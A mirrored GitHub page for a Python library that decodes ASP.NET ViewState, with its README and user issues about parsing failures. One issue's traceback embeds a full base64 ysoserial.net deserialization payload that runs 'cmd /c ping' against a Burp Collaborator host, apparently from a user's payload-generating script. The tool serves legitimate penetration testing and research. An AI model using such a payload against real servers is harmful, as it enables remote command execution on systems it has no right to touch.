Giter VIP home page Giter VIP logo

viewstate's Introduction

ASP.NET View State Decoder

A small Python library for decoding ASP.NET viewstate.

Viewstate is a method used in the ASP.NET framework to persist changes to a web form across postbacks. It is usually saved on a hidden form field:

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEP...">

Decoding the view state can be useful in penetration testing on ASP.NET applications, as well as revealing more information that can be used to efficiently scrape web pages.

https://img.shields.io/pypi/v/viewstate

Install

$ pip install viewstate

Usage

The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects.

There are two main ways to use this package. First, it can be used as an imported library with the following typical use case:

>>> from viewstate import ViewState
>>> base64_encoded_viewstate = '/wEPBQVhYmNkZQ9nAgE='
>>> vs = ViewState(base64_encoded_viewstate)
>>> vs.decode()
('abcde', (True, 1))

It is also possible to feed the raw bytes directly:

>>> vs = ViewState(raw=b'\xff\x01....')

Alternatively, the library can be used via command line by directly executing the module:

$ cat data.base64 | python -m viewstate

Which will pretty-print the decoded data structure.

The command line usage can also accept raw bytes with the -r flag:

$ cat data.base64 | base64 -d | python -m viewstate -r

Viewstate HMAC signatures are also supported. In case there are any remaining bytes after parsing, they are assumed to be HMAC signatures, with the types estimated according to signature length.

>>> vs = ViewState(signed_view_state)
>>> vs.decode()
>>> vs.mac
'hmac_sha256'
>>> vs.signature
b'....'

Development

Development packages can be installed with poetry. Unit tests, lints and code formatting tasks can be run with:

$ poetry install
$ poetry run pytest
$ poetry run ruff

For PyPI releases, run build and publish:

$ poetry build
$ poetry publish

Note that for uploading a new package version, a valid PyPI auth token should be configured.

References

Since there is no publically available specification of how .NET viewstate is encoded, reverse engineering was based on prior work:

Any official documents would be gladly accepted to help improve the parsing logic.

License

MIT

viewstate's People

Contributors

dependabot[bot] avatar yuvadm avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

viewstate's Issues

Dectect when mac not enabled

Hey,

Great tool it's been really handy but i am trying to work a way to detect when the mac is not enabled but so far kept coming up with ways for false negatives and false positives.

is there a clear way you would suggest? i.e so am looking for when a site has Page.EnableViewStateMac set to false.

Support datetime parsing

Datetime encoding is still unknown, though some test cases do exist:

def test_datetime(self):
    vs = ViewState()
    vs.raw = b'\xff\x01\x06\x000Po\x9b\x87\xd5\x88'
    assert vs.decode() == datetime(2018, 3, 11, 22)
    vs.raw = b'\xff\x01\x06\x00\xf0\xb9\x99d\x88\xd5\x88'
    assert vs.decode() == datetime(2018, 3, 12, 22)

Proper datetime parsing should be supported

Optional decoded structure flattening

It might be useful to optionally return a flattened decoded data structure in cases where we only care about iterating over the values and searching for specific patterns.

YSOSerial.net Payloads could not be processed

Traceback (most recent call last):
  File "genvs.py", line 56, in <module>
    main()
  File "genvs.py", line 48, in main
    newpayload = gen_shell_payload("ping google.com")
  File "genvs.py", line 14, in gen_shell_payload
    analyze_vs('/wEyxAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADmBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIHB3cGRsb2M5YXRzNDJobzk2N3hhMG9nYmQyanM3aC5idXJwY29sbGFib3JhdG9yLm5ldCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L+sRLt8icO/sVOPISqIdKQ5mjFwM=')
  File "genvs.py", line 30, in analyze_vs
    vs.decode()
  File "/Users/exploitio/Library/Python/3.8/lib/python/site-packages/viewstate/viewstate.py", line 44, in decode
    self.decoded, self.remainder = Parser.parse(self.body)
  File "/Users/exploitio/Library/Python/3.8/lib/python/site-packages/viewstate/parse.py", line 37, in parse
    raise ViewStateException("Unknown marker {}".format(marker))
viewstate.exceptions.ViewStateException: Unknown marker 50

I am decoding ysoserial.net payloads. and I get Unknown marker 50 Error!
Please help me!

Issue with decoding the following viewstate

Hello there,

I'm not familiar AT ALL with viewstate but I needed to decode some viewstate from scrapping.

I have viewstate that seems to be valid as it works with http://viewstatedecoder.azurewebsites.net/
but it doesn't with the library.
It raise an exception:

ViewStateException: Unable to parse remainder of 64615 bytes b'\n\x91\x01\x1e\x04Text\x051<b>Vous n'

Thanks for your time.

Here's the b64 encoded viewstate: https://gist.github.com/yuvadm/09524e56f2c6376e726d4f5b8c87be39

Support color parsing

Color parsing (as opposed to simple RGBA values) is still unknown. Color values seems to follow the structure of a 0x0a marker followed by two bytes, and probably map to a predetermined set of colors.

"NameError: name 'path' is not defined" when installing

Thanks for this package, very useful. I'm having trouble installing it, there doesn't seem to be a PIP package in the rep, and pip install via github fails, is there another installer I should use?

pip install git+git://github.com/yuvadm/viewstate.git

Collecting git+git://github.com/yuvadm/viewstate.git
  Cloning git://github.com/yuvadm/viewstate.git to /private/var/folders/xs/wmmjbz4s6mdgcqynwn46qtmr0000gn/T/pip-8t1_p1hd-build
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/xs/wmmjbz4s6mdgcqynwn46qtmr0000gn/T/pip-8t1_p1hd-build/setup.py", line 3, in <module>
        with open(path.join(here, 'README.rst'), encoding='utf-8') as f:
    NameError: name 'path' is not defined

IndexError when decoding (old?) viewstate

This is a viewstate from an IIS/7.5 server.

Viewstate:

/wEPDwUJOTM0NDI1NDMxD2QWBGYPFgIeBFRleHQFbTwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj5kAgQQZGQWAgIBD2QWBGYPZBYEZg9kFgIFC3dwOTI5MzI2MjM0D2QWAmYPZBYSAgEPDxYCHwAFE1JldHVybmluZyBDdXN0b21lcnNkZAIDDxYCHwAFbTxkaXYgY2xhc3M9InJjV2VsY29tZSI+UGxlYXNlIGxvZ2luIHVzaW5nIHRoZSB1c2VybmFtZSBhbmQgcGFzc3dvcmQgeW91IHJlY2VpdmVkIHdoZW4geW91IHNpZ25lZCB1cC4gPC9kaXY+DQpkAgUPDxYCHwAFCVVzZXJuYW1lOmRkAgcPDxYCHhBBdXRvQ29tcGxldGVUeXBlCyoqU3lzdGVtLldlYi5VSS5XZWJDb250cm9scy5BdXRvQ29tcGxldGVUeXBlARYCHgxhdXRvY29tcGxldGUFA29mZmQCCQ8PFgIfAAUJUGFzc3dvcmQ6ZGQCCw8PFgIfAQsrBAEWAh8CBQNvZmZkAg0PZBYCAgEPDxYCHwAFHURpZCB5b3UgZm9yZ2V0IHlvdXIgcGFzc3dvcmQ/FgIeB29uY2xpY2sFDXJldHVybiBmYWxzZTtkAg8PZBYCAgMPZBYCAgEPFgIeA3NyYwVDaHR0cHM6Ly9vcmRlcnMuaWdkZ2xhc3MuY29tOjQ0My9lU291cmNlMy8vaW1hZ2VzLy9sb2FkaW5nX0xvZ2luLmdpZmQCFw8WAh8AZWQCAg9kFgQCCQ9kFgwCAQ8PFgIfAAUUU2l0ZSBNb2RlOiBGdWxsIFNpdGVkZAILDw8WAh8AZWRkAhEPEGRkFgBkAhUPEGRkFgBkAhkPEGQQFQMSU2VsZWN0IEEgUGFuZS9ab25lD25ld0N1c3RvbWVyUGFuZRVyZXR1cm5pbmdDdXN0b21lclBhbmUVAxJTZWxlY3QgQSBQYW5lL1pvbmUPbmV3Q3VzdG9tZXJQYW5lFXJldHVybmluZ0N1c3RvbWVyUGFuZRQrAwNnZ2cWAWZkAicPFgIeB1Zpc2libGVoZAILDw8WAh4ISW1hZ2VVcmwFRWh0dHBzOi8vb3JkZXJzLmlnZGdsYXNzLmNvbTo0NDMvZVNvdXJjZTMvL2ltYWdlcy8vbG9hZGluZ19ibG9ja1VJLmdpZmRkAgEPZBYGAgEPDxYCHwVoZBYMAgEPDxYCHwAFBlNlbGVjdGRkAgUPDxYCHwAFBlN1Ym1pdGRkAgcPDxYCHwAFBlNlYXJjaGRkAgkPEGRkFgBkAgsPEGRkFgBkAg8PDxYCHwAFBlNlYXJjaGRkAgIPPCsAEgQAFCsACQ8WAh4OUGFydENocm9tZVR5cGUCAmRkZGQWBB4LQm9yZGVyQ29sb3IKpAEeBF8hU0ICEBYEHghDc3NDbGFzcwUSd2VicGFydF90aXRsZV9oaWRlHwkCAmRkZAIWAh8FaAcWAh8FaBAWBB4LQm9yZGVyU3R5bGULKiVTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLkJvcmRlclN0eWxlAR8JAkBkAgMPPCsAEgQAFCsACQ8WAh8HAgJkZGRkFgQfCAqkAR8JAhAWBB8KBRJ3ZWJwYXJ0X3RpdGxlX2hpZGUfCQICZGRkAhYCHwVoBxYCHwVoEBYEHwsLKwUBHwkCQGRk+ajgpVPQKk0DfqIpz9BVt6PhM+PFyUodqFF0sMA3YVI=

Error:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/lib/python3.11/site-packages/viewstate/viewstate.py", line 44, in decode
    self.decoded, self.remainder = Parser.parse(self.body)
                                   ^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 136, in parse
    first, remain = Parser.parse(b)
                    ^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
    second, remain = Parser.parse(remain)
                     ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
    second, remain = Parser.parse(remain)
                     ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
    val, remain = Parser.parse(remain)
                  ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 148, in parse
    third, remain = Parser.parse(remain)
                    ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
    val, remain = Parser.parse(remain)
                  ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
    second, remain = Parser.parse(remain)
                     ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
    val, remain = Parser.parse(remain)
                  ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
    second, remain = Parser.parse(remain)
                     ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
    val, remain = Parser.parse(remain)
                  ^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 136, in parse
    first, remain = Parser.parse(b)
                    ^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
    return Parser.registry[marker].parse(remain)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/lib/python3.11/site-packages/viewstate/parse.py", line 238, in parse
    l[idx] = val
    ~^^^^^
IndexError: list assignment index out of range

Support MAC values

Most viewstates have MAC values appended, we should probably support parsing and returning them

ViewStateException: Cannot decode invalid viewstate, bad preamble

Hi,

I'm trying to decode a ViewState from

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="R764/r3QPGEcug7NDCf691JVWHHD..........

But i get this error

ubuntu@vboxubuntu:~$ BASE64='R764/r3QPGEcug7NDCf691JVWHHD..........
ubuntu@vboxubuntu:~$ echo $BASE64 | python3 -m viewstate
Traceback (most recent call last):
  File "/usr/lib/python3.6/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.6/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/home/ubuntu/.local/lib/python3.6/site-packages/viewstate/__main__.py", line 20, in <module>
    main(raw)
  File "/home/ubuntu/.local/lib/python3.6/site-packages/viewstate/__main__.py", line 15, in main
    pp.pprint(vs.decode())
  File "/home/ubuntu/.local/lib/python3.6/site-packages/viewstate/viewstate.py", line 43, in decode
    raise ViewStateException('Cannot decode invalid viewstate, bad preamble')
viewstate.exceptions.ViewStateException: Cannot decode invalid viewstate, bad preamble

Although, it works well with the test data

ubuntu@vboxubuntu:~$ BASE64='/wEPBQVhYmNkZQ9nAgE='
ubuntu@vboxubuntu:~$ echo $BASE64 | python3 -m viewstate
('abcde', (True, 1))

Unknown marker 12

Getting the error viewstate.exceptions.ViewStateException: Unknown marker 12 when decoding a Viewstate from a Mono app.
Here is the Viewstate:

/wEMDAwQAgAADgEMBQEMEAIAAA4DDAUBDBACAAAOBgwFAQwQAgwPAQEEVGV4dAETQWRkIFlvdXIgRmlyc3QgTm90ZQAAAAwFAwwQAgwPAQEHVmlzaWJsZQkAAAAMBQUMEAIMAA8EAQhyZXF1aXJlZAEEdHJ1ZQEEdHlwZQEEdGV4dAELcGxhY2Vob2xkZXIBFlNldCBuYW1lIGZvciB5b3VyIG5vdGUBBWNsYXNzARVmb3JtLWNvbnRyb2wgaW5wdXQtbGcAAAwFBwwQAgwADwMCAwACBAACBwABF1N0b3JlIHNvbWUgc2VjcmV0cyBoZXJlAgkAAQxmb3JtLWNvbnRyb2wAAAwFCQwQAgwADwECCQABFmJ0biBidG4tcHJpbWFyeSBidG4tbGcAAAwFCwwQAgwPAQICAAkPAQIJAAINAAAADAUDDBACDwECAgAJAA4CDAUFDBACDAAPAQIJAAINAAAADAUHDBACDAAPAQIJAAINAAAADAUFDBACDwECAgAJAA4BDAUBDBACDAAPAQIJAAINAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

Re-encoding viewstate

It would be nice to be able to decode a viewstate, change some parts of it, and then reserialize it back to base64.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.